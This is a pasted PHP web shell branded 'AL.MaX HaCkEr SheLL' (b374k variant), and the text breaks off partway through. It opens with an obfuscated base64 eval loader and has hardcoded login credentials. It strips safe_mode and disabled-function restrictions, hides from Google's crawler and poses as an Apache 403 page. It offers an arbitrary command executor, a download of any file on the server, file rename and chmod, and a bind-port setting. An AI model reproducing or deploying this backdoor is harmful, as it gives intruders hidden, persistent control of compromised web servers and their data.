· 10 years ago · Mar 12, 2016, 04:48 PM
1
2<?php
3/**
4*
5
6* @ By Decoded By Souheyel
7
8*
9*/
10
11$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;
12?>
13
14<?php
15/**
16*
17
18* @ By Decoded By Souheyel
19
20*
21*/
22
23?><?
24###########################################
25# Private ! AL.MaX HaCkEr SheLL #
26# AL.MaX HaCkEr #
27# Gun@linuxmail.org #
28###########################################
29
30//Change User & Password
31
32$tacfgd['uname'] = 'AL.MaX HaCkEr';
33$tacfgd['pword'] = 's4cuc:518';
34
35
36// Title of page.
37$tacfgd['title'] = '';
38
39// Text to appear just above login form.
40$tacfgd['helptext'] = '';
41
42
43// Set to true to enable the optional remember-me feature, which stores encrypted login details to
44// allow users to be logged-in automatically on their return. Turn off for a little extra security.
45$tacfgd['allowrm'] = true;
46
47// If you have multiple protected pages, and there's more than one username / password combination,
48// you need to group each combination under a distinct rmgroup so that the remember-me feature
49// knows which login details to use.
50$tacfgd['rmgroup'] = 'default';
51
52// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering.
53// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not
54// destroy the session, so that is left up to you.
55$tacfgd['ownsessions'] = false;
56
57
58
59
60foreach ($tacfgd as $key => $val) {
61 if (!isset($tacfg[$key])) $tacfg[$key] = $val;
62}
63
64if (!$tacfg['ownsessions']) {
65 session_name('txtauth');
66 session_start();
67}
68
69// Logout attempt made. Deletes any remember-me cookie as well
70if (isset($_GET['logout']) || isset($_POST['logout'])) {
71 setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
72 if (!$tacfg['ownsessions']) {
73 $_SESSION = array();
74 session_destroy();
75 }
76 else $_SESSION['txtauthin'] = false;
77}
78// Login attempt made
79elseif (isset($_POST['login'])) {
80 if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
81 $_SESSION['txtauthin'] = true;
82 if ($_POST['rm']) {
83 // Set remember-me cookie for 2 weeks
84 setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
85 }
86 }
87 else $err = 'Login Faild !';
88}
89// Remember-me cookie exists
90elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
91 if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
92 $_SESSION['txtauthin'] = true;
93 }
94 else $err = 'Login Faild !';
95}
96if (!$_SESSION['txtauthin']) {
97@ini_restore("safe_mode");
98@ini_restore("open_basedir");
99@ini_restore("safe_mode_include_dir");
100@ini_restore("safe_mode_exec_dir");
101@ini_restore("disable_functions");
102@ini_restore("allow_url_fopen");
103
104@ini_set('error_log',NULL);
105@ini_set('log_errors',0);
106?>
107<html dir=rtl>
108<head>
109
110<STYLE>
111
112* {
113 padding:0;
114 margin:0;
115}
116
117div.end *
118{
119 font-size:small;
120}
121
122div.end
123{
124 width:100%;
125 background:#222;
126}
127
128body
129{
130 background-color:black;
131 color:rgb(35,182,39);
132 font-family:Tahoma,Verdana,Arial;
133 font-size: small;
134}
135
136input.own {
137 background-color: Green;
138 color: white;
139 border : 1px solid #ccc;
140}
141
142blockquote.small
143{
144 font-size: smaller;
145 color: silver;
146 text-align: center;
147}
148
149table.files
150{
151 border-spacing: 10px;
152 font-size: small;
153}
154
155h1 {
156 padding: 4px;
157 padding-bottom: 0px;
158 margin-right : 5px;
159}
160div.logo
161{
162 border-right: 1px aqua solid;
163}
164div.header
165{
166 padding-left: 5px;
167 font-size: small;
168 text-align: left;
169}
170div.nav
171{
172 margin-top:1px;
173 height:30px;
174 background-color: #ccc;
175}
176div.nav ul
177{
178 list-style: none;
179 padding: 4px;
180}
181div.nav li
182{
183 float: left;
184 margin-right: 10px;
185 text-align:center;
186}
187textarea.cmd
188{
189 border : 1px solid #111;
190 background-color : green;
191 font-family: Shell;
192 color : black;
193 margin-top: 10px;
194 font-size:small;
195}
196
197input.cmd
198{
199 background-color:black;
200 color: white;
201 width: 400px;
202 border : 1px solid #ccc;
203
204}
205td.maintext
206{
207 font-size: large;
208}
209#margins
210{
211 margin-left: 50px;
212 margin-top: 10px;
213 color:white;
214}
215table.top
216{
217 border-bottom: 1px solid aqua;
218 width: 100%;
219}
220#borders
221{
222 border-top : 1px solid aqua;
223 border-left:1px solid aqua;
224 border-bottom: 1px solid aqua;
225 border-right: 1px solid aqua;
226 margin-bottom:0;
227}
228td.file a
229{
230 color : aqua;
231 text-decoration:none;
232}
233td.dir a
234{
235 color : white;
236 text-decoration:none;
237}
238td.download,td.download2
239{
240 color:green;
241}
242#spacing
243{
244 padding:10px;
245 margin-left:200px;
246}
247th.header
248{
249 background: none repeat scroll 0 0 #191919;
250 color: black;
251 border-bottom : 1px solid #333333;
252}
253img.imageForm
254{
255 padding: 53px;
256}
257
258</STYLE>
259<script language=\'javascript\'>
260function hide_div(id)
261{
262 document.getElementById(id).style.display = \'none\';
263 document.cookie=id+\'=0;\';
264}
265function show_div(id)
266{
267 document.getElementById(id).style.display = \'block\';
268 document.cookie=id+\'=1;\';
269}
270function change_divst(id)
271{
272 if (document.getElementById(id).style.display == \'none\')
273 show_div(id);
274 else
275 hide_div(id);
276}
277</script>
278<body>
279<br>
280<form name="txtauth" action="/40.php" method="post">
281<div align="center" style="width: 1113px; height: 306px" class="style40">
282<pre>
283</b></font><font color="grey"><b><img alt="" src="http://www.iconeasy.com/icon/png/Flag/Africa/Sudan.png" width="256" height="256" style="float: left"></b></font></pre>
284 <pre>
285 </pre>
286 <pre>
287 </pre>
288 <pre>
289 </pre>
290 <pre>
291 </pre>
292 <pre>
293 </pre>
294 <pre>
295 </pre>
296 <pre>
297<img alt="" src="http://www.up-king.com:8080/almaciat/ufph33in38ifue6yswzh.png" style="float: left" width="307" height="165"><b><font color="grey">
298</font></b><font color="grey">
299<pre>
300 </pre>
301</div>
302</form>
303
304 </body>
305</html>
306
307<html dir=rtl>
308<head>
309<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
310<title>Private ! .. AL.MaX HaCkEr SheLL </title>
311
312<STYLE>
313
314BODY
315 {
316}
317
318tr {
319}
320BODY {
321margin: 1;
322color: #dadada;
323background-color: #000000;
324}
325A:link {COLOR:red; TEXT-DECORATION: none}
326A:visited { COLOR:red; TEXT-DECORATION: none}
327A:active {COLOR:red; TEXT-DECORATION: none}
328A:hover {color:blue;TEXT-DECORATION: none}
329
330</STYLE>
331<script language=\'javascript\'>
332function hide_div(id)
333{
334 document.getElementById(id).style.display = \'none\';
335 document.cookie=id+\'=0;\';
336}
337function show_div(id)
338{
339 document.getElementById(id).style.display = \'block\';
340 document.cookie=id+\'=1;\';
341}
342function change_divst(id)
343{
344 if (document.getElementById(id).style.display == \'none\')
345 show_div(id);
346 else
347 hide_div(id);
348}
349</script>
350<body>
351<form name="txtauth" action="<?=$action?>" method="post">
352<div class="style34" style="width: 1043px; height: 67px;">
353<table cellpadding="4" cellspacing="0" style="width: 216px;" dir="ltr" class="style35" align="center">
354<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>
355<?if (isset($tacfg['uname'])) {?>
356<tr><td>User:</td><td class="style37"><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
357<?}?>
358<tr><td>Password:</td><td class="style36"><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
359<?if ($tacfg['allowrm']) {?>
360<tr><td><input type="submit" name="login" value="Login">
361</td><td><input type="checkbox" name="rm" id="rm"><label for="rm">
362 Remmeber Me?</label></td></tr>
363<?} else {?>
364<tr><td colspan="2">
365 <input type="submit" name="login" value="Login"></td></tr>
366<?}?>
367</table>
368</div>
369</form>
370
371<div>
372
373<br><br>
374</div>
375<div class="smalltxt" align="center"><font color="grey">
376
377<div class="end">
378<p align="center"><b> </b><br />
379</p>
380<table style="border: 2px solid rgb(218, 218, 218);" width="100%" bgcolor="#000000" height="%">
381 <tr>
382 <td><center><font color="white" face="tahoma" size="4"><b>
383 [
384 <span class="style27"> <font color="red" size="5"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma"><span <ul="" lang="en-us"><font color="white" face="tahoma" size="4"><span class="style41">Private
385 ! .. AL.MaX HaCkEr SheLL</span><span class="style25"><font color="Green"><font class="style26" color="gray" size="-2"><span class="style21"><strong>
386 <font color="white" face="tahoma" size="4">|</font> v.</strong>3</span></font></font></span></font>
387 - Copyright
388 / <font color="#FFFFFF" face="Tahoma">2013
389 <a style="text-decoration: none; " href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
390 <font color="#FFFFFF">AL.MaX HaCkEr </font></a></font></span>
391 <font color="#000000">
392 </font></font></span></font></span></font></span> ]<span class="style27">
393 </span> <br>
394 <span class="style27"> <font color="red" size="5"><span style="font-weight: 700; filter: blur(add=1, direction=270, strength=30)"><font class="whiteglow" face="tahoma"><span <ul=""><font color="#808080" face="Tahoma">
395 <font color="#000000">
396 <a style="text-decoration: none" href="http://www.zone-h.com/archive/notifier=AL.MaX%20HaCkEr">
397 <font color="#808080" face="Tahoma">Zone-h</font></a><font color="red" size="5" face="tahoma"><font class="whiteglow" face="tahoma"><font color="#808080" face="Tahoma"> <img alt="" src="http://www.senojflags.com/images/national-flag-icons/Sudan-Flag.png" height="16" width="16"></font></font></font> </font></font>
398 </span></font></span></font> </span>
399 </b>
400 <strong class="style42">Gun@Linuxmail.Org</strong></font></center></td>
401 </tr>
402</table>
403<p align="center"> </p>
404</div>
405 </font></div>
406
407</body>
408</html>
409<?
410 // Don't delete this!
411 exit();
412}
413?>
414</p>
415<div class="style38">
416
417
418<div class="style38">
419
420
421<?php
422/*********************************************************************************************************/
423$auth_pass = ""; //password crypted with md5, default is 'AL.MaX HaCkEr'
424/*********************************************************************************************************/
425$color = "#00ff00";
426$default_action = 'FilesMan';
427@define('SELF_PATH', '__hex__');
428
429/*********************************************************************************************************/
430# Avoid google's crawler
431if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
432/*********************************************************************************************************/
433
434@session_start();
435@error_reporting(0);
436@ini_set('error_log',NULL);
437@ini_set('log_errors',0);
438@ini_set('max_execution_time',0);
439@set_time_limit(0);
440@set_magic_quotes_runtime(0);
441@define('VERSION', 'v.2012');
442@define('TITLE', ':: b374k AL.MaX HaCkEr 2012 ::');
443
444/*********************************************************************************************************/
445
446if( get_magic_quotes_gpc() )
447{
448 function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
449 $_POST = stripslashes_array($_POST);
450}
451
452function logout()
453{
454 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
455 $page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
456 echo '<center><span class="b1">The System Is Going To Down For LogOut Administrator Pages!!</scan></center>';
457 ?>
458 <script>window.location.href = '<?php print $page; ?>';</script>
459 <?php
460 exit(0);
461}
462
463function myshellexec($command) {
464if (!($p=popen("($command)2>&1","r"))) {
465return 126;
466}
467while (!feof($p)) {
468$line=fgets($p,1000);
469$out .= $line;
470}
471pclose($p);
472return $out;
473}
474
475function parsesort($sort)
476{
477 $one = intval($sort);
478 $second = substr($sort,-1);
479 if ($second != "d") {$second = "a";}
480 return array($one,$second);
481}
482
483$disablefunc = @ini_get("disable_functions");
484
485function showdisablefunctions() {
486 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
487 else { return "<span style='color:#00FF1E'>NONE</span>"; }
488 }
489
490 function ex($cfe) {
491$res = '';
492if (!empty($cfe)) {
493if(function_exists('exec')) {
494@exec($cfe,$res);
495$res = join("\n",$res);
496} elseif(function_exists('shell_exec')) {
497$res = @shell_exec($cfe);
498} elseif(function_exists('system')) {
499@ob_start();
500@system($cfe);
501$res = @ob_get_contents();
502@ob_end_clean();
503} elseif(function_exists('passthru')) {
504@ob_start();
505@passthru($cfe);
506$res = @ob_get_contents();
507@ob_end_clean();
508} elseif(@is_resource($f = @popen($cfe,"r"))) {
509$res = "";
510while(!@feof($f)) { $res .= @fread($f,1024); }
511@pclose($f);
512} else { $res = "Ex() Disabled!"; }
513}
514return $res;
515}
516
517
518function showstat($stat) {
519if ($stat=="on") { return "<b><font style='color:#00FF00'>ON</font></b>"; }
520else { return "<b><font style='color:#DD4736'>OFF</font></b>"; }
521}
522function testperl() {
523if (ex('perl -h')) { return showstat("on"); }
524else { return showstat("off"); }
525}
526function testfetch() {
527if(ex('fetch --help')) { return showstat("on"); }
528else { return showstat("off"); }
529}
530function testwget() {
531if (ex('wget --help')) { return showstat("on"); }
532else { return showstat("off"); }
533}
534function testoracle() {
535if (function_exists('ocilogon')) { return showstat("on"); }
536else { return showstat("off"); }
537}
538function testpostgresql() {
539if (function_exists('pg_connect')) { return showstat("on"); }
540else { return showstat("off"); }
541}
542function testmssql() {
543if (function_exists('mssql_connect')) { return showstat("on"); }
544else { return showstat("off"); }
545}
546function testcurl() {
547if (function_exists('curl_version')) { return showstat("on"); }
548else { return showstat("off"); }
549}
550function testmysql() {
551if (function_exists('mysql_connect')) { return showstat("on"); }
552else { return showstat("off"); }
553}
554
555$quotes = get_magic_quotes_gpc();
556if ($quotes == "1" or $quotes == "on")
557{
558$quot = "<font style='color:red'>ON</font>";
559}
560else
561{
562$quot = "<font style='color:green'>OFF</font>";
563}
564
565function printLogin()
566{
567 ?>
568<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
569 <head>
570 <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
571 </head>
572 <title>
573 403 Forbidden
574 </title>
575 <body>
576 </div>
577 <h1 class="style38">Forbidden</h1>
578 <p class="style38">You don't have permission to access this file on this server <?=$_SERVER['HTTP_HOST']?>.</p>
579 <hr>
580 <form method=post>
581 <address class="style38">Apache/2.2.8 at <?=$_SERVER['HTTP_HOST']?> Port 80<center class="style38"><input type=password name=x><input type=submit value=''></center></address>
582 </form>
583 <div class="style38">
584 </body>
585</html>
586 <?php
587 exit;
588}
589
590if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
591 {
592 if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
593 { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
594 else
595 { printLogin(); }
596 }
597
598if(isset($_GET['dl']) && ($_GET['dl'] != ""))
599 {
600 $file = $_GET['dl'];
601 $filez = @file_get_contents($file);
602 header("Content-type: application/octet-stream");
603 header("Content-length: ".strlen($filez));
604 header("Content-disposition: attachment;
605 filename=\"".basename($file)."\";");
606 echo $filez;
607 exit;
608 }
609
610elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != ""))
611 {
612 $file = $_GET['dlgzip'];
613 $filez = gzencode(@file_get_contents($file));
614 header("Content-Type:application/x-gzip\n");
615 header("Content-length: ".strlen($filez));
616 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
617 echo $filez; exit;
618 }
619
620if(isset($_GET['img']))
621 {
622 @ob_clean();
623 $d = magicboom($_GET['y']);
624 $f = $_GET['img'];
625 $inf = @getimagesize($d.$f);
626 $ext = explode($f,".");
627 $ext = $ext[count($ext)-1];
628 @header("Content-type: ".$inf["mime"]);
629 @header("Cache-control: public");
630 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
631 @header("Cache-control: max-age=".(60*60*24*7));
632 @readfile($d.$f);
633 exit;
634 }
635$ver = VERSION;
636
637$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
638
639if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
640else $safemode = FALSE;
641$system = @php_uname();
642
643if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
644else $win = FALSE;
645
646if(isset($_GET['y']))
647 { if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } }
648
649if(!$win)
650 { if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
651else
652 {
653 $user = @get_current_user();
654 $id = $user;
655 $prompt = $user." >";
656 $pwd = realpath(".")."\\";
657 $v = explode("\\",$d);
658 $v = $v[0];
659 foreach (range("A","Z") as $letter)
660 {
661 $bool = @is_dir($letter.":\\");
662 if ($bool)
663 {
664 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
665 if ($letter.":" != $v) {$letters .= $letter;}
666 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
667 $letters .= " ]</a> ";
668 }
669 }
670 }
671
672if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
673else $posix = FALSE;
674
675
676 $bytes = disk_free_space(".");
677 $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
678 $base = 1024;
679 $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
680 $totalspace_bytes = disk_total_space(".");
681 $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
682 $totalspace_bases = 1024;
683 $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
684 $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
685 $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
686 $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
687 $my_ip = $_SERVER['REMOTE_ADDR'];
688 $bindport = "55555";
689 $bindport_pass = "AL.MaX HaCkEr";
690 $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
691 $pwdurl = "";
692 for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
693 {
694 $pathz = "";
695 for($j = 0 ; $j <= $i ; $j++)
696 {
697 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
698 }
699 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
700 }
701
702 if(isset($_POST['rename'])){
703 $old = $_POST['oldname'];
704 $new = $_POST['newname'];
705 @rename($pwd.$old,$pwd.$new);
706 $file = $pwd.$new;
707 }
708 if(isset($_POST['chmod'])){
709 $name = $_POST['name'];
710 $value = $_POST['newvalue'];
711 if (strlen($value)==3){
712 $value = 0 . "" . $value;
713 }
714 @chmod($pwd.$name,octdec($value));
715 $file = $pwd.$name;
716 }
717 if(isset($_POST['chmod_folder'])){
718 $name = $_POST['name'];
719 $value = $_POST['newvalue'];
720 if (strlen($value)==3){
721 $value = 0 . "" . $value;
722 }
723 @chmod($pwd.$name,octdec($value));
724 $file = $pwd.$name;
725 }
726 $buff = $DISP_SERVER_SOFTWARE."<br />";
727 $buff .= '<font style="color:#F58F78">'.$system.'</font><br />';
728 if($id != "") $buff .= $id."<br />";
729 $buff .= "Server IP : "."<span style='color:#FF8800'>$server_ip</span>"."<font> | </font>"."Your IP : "."<span style='color:#FF0000'>$my_ip</span>"."<br />";
730 $buff .= "Total HDD Space : "."<span style='color:#00FF1E'>$totalspace_show</span>"."<font> | </font>"."Free HDD Space : "."<span style='color:#00FF1E'>$freespace_show</span>"."<br />";
731 $buff .= "Magic Quotes:$quot"."<br>";
732 $buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
733 $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
734 if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
735 else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
736 $buff .= $letters." > ".$pwdurl;
737
738 function rapih($text){ return trim(str_replace("<br />","",$text)); }
739
740 function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
741
742 function showdir($pwd,$prompt)
743 {
744 $fname = array();
745 $dname = array();
746 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
747 else $posix = FALSE;
748 $user = "????:????";
749 if($dh = opendir($pwd))
750 {
751 while($file = readdir($dh))
752 {
753 if(is_dir($file))
754 { $dname[] = $file; }
755 elseif(is_file($file))
756 { $fname[] = $file; }
757 }
758 closedir($dh);
759 }
760 sort($fname);
761 sort($dname);
762 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
763 $tree = @sizeof($path);
764 $parent = "";
765 $buff = "<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
766 <table class=\"cmdbox\" style=\"width:50%;\">
767 <tr>
768 <td>CMD@$prompt</td>
769 <td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" />
770 <input class=\"inputzbut\" type=\"submit\" value=\"Execute !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
771 </tr>
772 </form>
773 <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
774 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
775 <tr>
776 <td>view file/folder</td>
777 <td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" />
778 <input class=\"inputzbut\" type=\"submit\" value=\"Enter !\" name=\"submitcmd\" style=\"width:80px;\" /></td>
779 </tr>
780 </form>
781 </table>
782 <table class=\"explore\">
783 <tr>
784 <th>name</th>
785 <th style=\"width:80px;\">size</th>
786 <th style=\"width:210px;\">owner:group</th>
787 <th style=\"width:80px;\">perms</th>
788 <th style=\"width:110px;\">modified</th>
789 <th style=\"width:190px;\">actions</th>
790 </tr> ";
791
792 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
793 else $parent = $pwd;
794 foreach($dname as $folder)
795 {
796 if($folder == ".")
797 {
798 if(!$win && $posix)
799 {
800 $name=@posix_getpwuid(@fileowner($folder));
801 $group=@posix_getgrgid(@filegroup($folder));
802 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
803 }
804 else { $owner = $user; }
805 $buff .= "<tr>
806 <td><a href=\"?y=".$pwd."\">$folder</a></td>
807 <td>-</td>
808 <td style=\"text-align:center;\">".$owner."</td>
809 <td><center>".get_perms($pwd)."</center></td>
810 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
811 <td><span id=\"titik1\">
812 <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a>
813 | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
814 </span>
815 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
816 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
817 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
818 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
819 </form>
820 </td>
821 </tr> ";
822 }
823 elseif($folder == "..")
824 {
825 if(!$win && $posix)
826 {
827 $name=@posix_getpwuid(@fileowner($folder));
828 $group=@posix_getgrgid(@filegroup($folder));
829 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
830 }
831 else { $owner = $user; }
832 $buff .= "<tr>
833 <td>
834 <a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAgZJREFUOE9jYKAF4I7ez6CVfVQvpOOiGcnm8yUdYVRvuWalvvjNTemqi01cUfuJN4Mv/QSjRsdNG81VH6/Lb/vzT6juWhtP/CFGokwQyD3DqNpxy1Zj5YdrCjv+/Zfb+uefSNPNNt6044QNECy5wKjUesNadcHr63Jrv/2XAWL5NV//W819sk9/6sMcMJ4GwXpTHiboTLpvpzXhnoxx/x0WBsHKywzyjdfNlKY9uSU1781/SSQsMef1f4nZr1DxrJcvJWe+XC45/XmIQv8DfgbBqqvScl1374r1Pfwv2gvDD4BsGIaIgeTF+h/9F5vw+I3YxMfrxCY+iQLyBRlEaq+JSjTdWCfRfPOPUMON/zAsDGSLNt38L4aGRZtvvhFrvrVOtOV2FBALMgjVXGMUb7qpIdNxZ51U193fIu13/4OwKBDrdj74bDbzwRNkbDrj/mXj6fdnGk6976/Xd58fHEPA0GaS7LirLdf3YI10/8NfolDviLU8WAQ01E66664tHHffNZftuasq33NPWLXjPgs8ikU77jFL9T3UkZ38ZI3U1Ge/xKc8+wf0Z5tI5z1GoIvQMQNQjEG07S5qEhHve8QsNfmpjvSM52ukZ736JT7pRRvQIMLpANkYoAZm6ZkvtDVmvVktWPK6SmL6K9IMABkmM/slk+qMN7Iy/W/kxKe/ISolk60IAJfcKhfb3kZPAAAAAElFTkSuQmCC' /> $folder</a></td>
835 <td>-</td>
836 <td style=\"text-align:center;\">".$owner."</td>
837 <td><center>".get_perms($parent)."</center></td>
838 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
839 <td><span id=\"titik2\">
840 <a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a>
841 | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a>
842 </span>
843 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
844 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
845 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
846 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" />
847 </form>
848 </td>
849 </tr>";
850 }
851 else
852 {
853 if(!$win && $posix)
854 {
855 $name=@posix_getpwuid(@fileowner($folder));
856 $group=@posix_getgrgid(@filegroup($folder));
857 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
858 }
859 else { $owner = $user; }
860 $buff .= "<tr>
861 <td>
862 <a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
863izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC' /> [ $folder ]</a>
864 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
865 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
866 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
867 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
868 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
869 onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
870 </form>
871 </td>
872 <td>DIR</td>
873 <td style=\"text-align:center;\">".$owner."</td>
874 <td><center>
